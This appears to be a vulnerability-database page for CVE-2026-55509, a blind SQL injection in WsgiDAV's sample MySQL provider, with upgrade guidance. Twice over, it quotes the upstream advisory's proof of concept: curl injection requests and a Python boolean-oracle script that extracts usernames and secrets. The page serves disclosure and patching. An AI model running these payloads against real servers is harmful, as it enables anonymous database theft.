CVE-2026-55509: WsgiDAV SQL Injection Vulnerability

HIGH
Advisory Identifier: GHSA-p6gw-4frg-j7jw
CWE-89
Published
Advisory Summary

CVE-2026-55509 is a HIGH sql injection vulnerability (CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')) affecting WsgiDAV libraries in the PyPI ecosystem. The issue involves wsgidav mysql provider has a blind sql injection. Remediation is available by upgrading affected packages to version 4.3.5.

CVE-2026-55509 at a Glance

CVE Identifier CVE-2026-55509
GHSA Identifier GHSA-p6gw-4frg-j7jw
Severity HIGH
CVSS v3.1 Base Score N/A
CWE Classification CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
Affected Product WsgiDAV
Package Ecosystem PyPI
Published Date
Last Updated

How to Fix CVE-2026-55509

To remediate this vulnerability, upgrade all affected WsgiDAV dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

WsgiDAV fixed: 4.3.5
pip install WsgiDAV>=4.3.5
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

pip show WsgiDAV

How to Check if You Are Affected

To determine whether your Python environment is affected by CVE-2026-55509, inspect your installed packages using pip:

pip show WsgiDAV

Analyze the terminal output to locate any version of WsgiDAV in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 4.3.5), your application is affected.

Note: The pip show WsgiDAV command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection'), where the product constructs all or part of an sql command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended sql command when it is sent to a downstream component. without sufficient removal or quoting of sql syntax in user-controllable inputs, the generated sql query can cause those inputs to be interpreted as sql instead of ordinary user data. In WsgiDAV, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary The sample `MySQLBrowserProvider` builds its SQL queries by concatenating strings, and the record key from the request URL goes straight into the WHERE clause with no escaping. Any user who can reach a share backed by this provider can inject SQL through the URL. Since these read shares are commonly published without authentication, an anonymous attacker can read arbitrary data from the backing database. Confirmed locally with a boolean oracle and full data extraction. **Note:** The `MySQLBrowserProvider` module is only provided as an example for WsgiDAV and not enabled by default. Installations that do not explicitly activate the module in their configuration are not affected by this vulnerability. ### Details A path like `/db/users/1` is split into a table name and a key. The table name is validated against the real table list, but the key is dropped directly into the query. For the configured table the resulting statement is `SELECT id FROM testdb.users WHERE id = '<key>'`, so a single quote in the key breaks out of the literal and the rest runs as SQL. The provider's numeric-type check has a typo (`INTT` instead of `INT`), so even integer primary keys take the quoted branch, but that branch is equally injectable, just with a quote breakout. The injectable key is read during the normal existence check on a plain GET, so no authentication, write access, or special method is needed. The behavior shows up cleanly as a status-code oracle. A condition that matches rows returns one status, a condition that matches nothing returns 404, which is enough to extract data bit by bit. As a side note, the provider also crashes with a 500 on valid record reads because of an unrelated md5 bug, which is what makes the positive case here surface as 500 rather than 200. That crash is just broken behavior on its own and is not the finding. ### PoC Tested against MySQL 8 in Docker and WsgiDAV 4.3.4 from PyPI, share `/db` mapped to `MySQLBrowserProvider`, anonymous access. Oracle, true then false: ``` curl -s -o /dev/null -w "%{http_code}\n" "http://127.0.0.1:8080/db/users/0%27%20OR%20%271%27%3D%271" curl -s -o /dev/null -w "%{http_code}\n" "http://127.0.0.1:8080/db/users/0%27%20OR%20%271%27%3D%272" ``` Returns `500` then `404`. The only difference is the injected condition (`'1'='1'` vs `'1'='2'`), proving the input is executed as SQL. Data extraction over the same oracle (`dump.py`): ``` import urllib.parse, urllib.request, urllib.error BASE = "http://127.0.0.1:8080/db/users/" def truthy(cond): url = BASE + urllib.parse.quote(f"0' OR ({cond}) OR '1'='2") try: urllib.request.urlopen(url); return True except urllib.error.HTTPError as e: return e.code != 404 def extract(expr, maxlen=128): out = "" for i in range(1, maxlen + 1): if not truthy(f"SELECT ASCII(MID(({expr}),{i},1))>0"): break lo, hi = 32, 126 while lo < hi: mid = (lo + hi) // 2 if truthy(f"SELECT ASCII(MID(({expr}),{i},1))>{mid}"): lo = mid + 1 else: hi = mid out += chr(lo) return out print(extract("SELECT GROUP_CONCAT(name,0x3a,secret) FROM users")) ``` ``` python dump.py ``` Prints `alice:alice-password,bob:bob-token`, confirming arbitrary read of table data with no auth. ### Impact Anyone who can read a `MySQLBrowserProvider` share can run read queries as the database account WsgiDAV connects with, which in practice exposes the whole reachable database. If that account has write or admin grants, the exposure extends further. Primary impact is confidentiality, with integrity at risk depending on the account's privileges. Scope note: this is the shipped sample MySQL provider, not the default filesystem provider, so it only affects deployments that enable it. Real first-party code, but not a default-config issue.

CVE-2026-55509 Affected WsgiDAV Versions

1 component(s)
Fixed Versions:
4.3.5
Product / Package Ecosystem Affected Versions Fixed Version
WsgiDAV
PyPI
< 4.3.5
4.3.5

References

Frequently Asked Questions

What is CVE-2026-55509?
CVE-2026-55509 is a security vulnerability in WsgiDAV involving WsgiDAV MySQL provider has a blind SQL injection under CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection').
Which WsgiDAV versions are affected?
Affected versions include releases prior to 4.3.5 across affected packages: WsgiDAV.
What version fixes CVE-2026-55509?
Upgrading to 4.3.5 (or the latest patched release for your respective branch) resolves the vulnerability.
Is WsgiDAV affected?
Yes, WsgiDAV is affected in releases prior to 4.3.5. Upgrade your dependency to 4.3.5 or later.
What CWE is associated with CVE-2026-55509?
CVE-2026-55509 is classified under CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') (The product constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component. Without sufficient removal or quoting of SQL syntax in user-controllable inputs, the generated SQL query can cause those inputs to be interpreted as SQL instead of ordinary user data.).
How can I check PyPI dependencies for CVE-2026-55509?
Run the dependency tree command: 'pip show WsgiDAV'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-p6gw-4frg-j7jw",
  "modified" : "2026-08-28T18:12:17Z",
  "published" : "2026-08-28T18:12:17Z",
  "aliases" : [ "CVE-2026-55509" ],
  "summary" : "WsgiDAV MySQL provider has a blind SQL injection",
  "details" : "### Summary\n\nThe sample `MySQLBrowserProvider` builds its SQL queries by concatenating strings, and the record key from the request URL goes straight into the WHERE clause with no escaping. Any user who can reach a share backed by this provider can inject SQL through the URL. Since these read shares are commonly published without authentication, an anonymous attacker can read arbitrary data from the backing database. Confirmed locally with a boolean oracle and full data extraction.\n\n**Note:**\nThe `MySQLBrowserProvider` module is only provided as an example for WsgiDAV and not enabled by default.\nInstallations that do not explicitly activate the module in their configuration are not affected by this vulnerability.\n\n### Details\n\nA path like `/db/users/1` is split into a table name and a key. The table name is validated against the real table list, but the key is dropped directly into the query. For the configured table the resulting statement is `SELECT id FROM testdb.users WHERE id = '<key>'`, so a single quote in the key breaks out of the literal and the rest runs as SQL.\n\nThe provider's numeric-type check has a typo (`INTT` instead of `INT`), so even integer primary keys take the quoted branch, but that branch is equally injectable, just with a quote breakout. The injectable key is read during the normal existence check on a plain GET, so no authentication, write access, or special method is needed.\n\nThe behavior shows up cleanly as a status-code oracle. A condition that matches rows returns one status, a condition that matches nothing returns 404, which is enough to extract data bit by bit. As a side note, the provider also crashes with a 500 on valid record reads because of an unrelated md5 bug, which is what makes the positive case here surface as 500 rather than 200. That crash is just broken behavior on its own and is not the finding.\n\n### PoC\n\nTested against MySQL 8 in Docker and WsgiDAV 4.3.4 from PyPI, share `/db` mapped to `MySQLBrowserProvider`, anonymous access.\n\nOracle, true then false:\n\n```\ncurl -s -o /dev/null -w \"%{http_code}\\n\" \"http://127.0.0.1:8080/db/users/0%27%20OR%20%271%27%3D%271\"\ncurl -s -o /dev/null -w \"%{http_code}\\n\" \"http://127.0.0.1:8080/db/users/0%27%20OR%20%271%27%3D%272\"\n```\n\nReturns `500` then `404`. The only difference is the injected condition (`'1'='1'` vs `'1'='2'`), proving the input is executed as SQL.\n\nData extraction over the same oracle (`dump.py`):\n\n```\nimport urllib.parse, urllib.request, urllib.error\nBASE = \"http://127.0.0.1:8080/db/users/\"\n\ndef truthy(cond):\n    url = BASE + urllib.parse.quote(f\"0' OR ({cond}) OR '1'='2\")\n    try:\n        urllib.request.urlopen(url); return True\n    except urllib.error.HTTPError as e:\n        return e.code != 404\n\ndef extract(expr, maxlen=128):\n    out = \"\"\n    for i in range(1, maxlen + 1):\n        if not truthy(f\"SELECT ASCII(MID(({expr}),{i},1))>0\"): break\n        lo, hi = 32, 126\n        while lo < hi:\n            mid = (lo + hi) // 2\n            if truthy(f\"SELECT ASCII(MID(({expr}),{i},1))>{mid}\"): lo = mid + 1\n            else: hi = mid\n        out += chr(lo)\n    return out\n\nprint(extract(\"SELECT GROUP_CONCAT(name,0x3a,secret) FROM users\"))\n```\n\n```\npython dump.py\n```\n\nPrints `alice:alice-password,bob:bob-token`, confirming arbitrary read of table data with no auth.\n\n### Impact\n\nAnyone who can read a `MySQLBrowserProvider` share can run read queries as the database account WsgiDAV connects with, which in practice exposes the whole reachable database. If that account has write or admin grants, the exposure extends further. Primary impact is confidentiality, with integrity at risk depending on the account's privileges.\n\nScope note: this is the shipped sample MySQL provider, not the default filesystem provider, so it only affects deployments that enable it. Real first-party code, but not a default-config issue.",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "WsgiDAV"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "4.3.5"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 4.3.4"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/mar10/wsgidav/security/advisories/GHSA-p6gw-4frg-j7jw"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/mar10/wsgidav/commit/6f35776c9188f130ab044ce557015d51aaa83500"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/mar10/wsgidav"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/mar10/wsgidav/blob/master/CHANGELOG.md#435--2026-06-27"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/mar10/wsgidav/releases/tag/v4.3.5"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-89" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-08-28T18:12:17Z",
    "nvd_published_at" : null
  }
}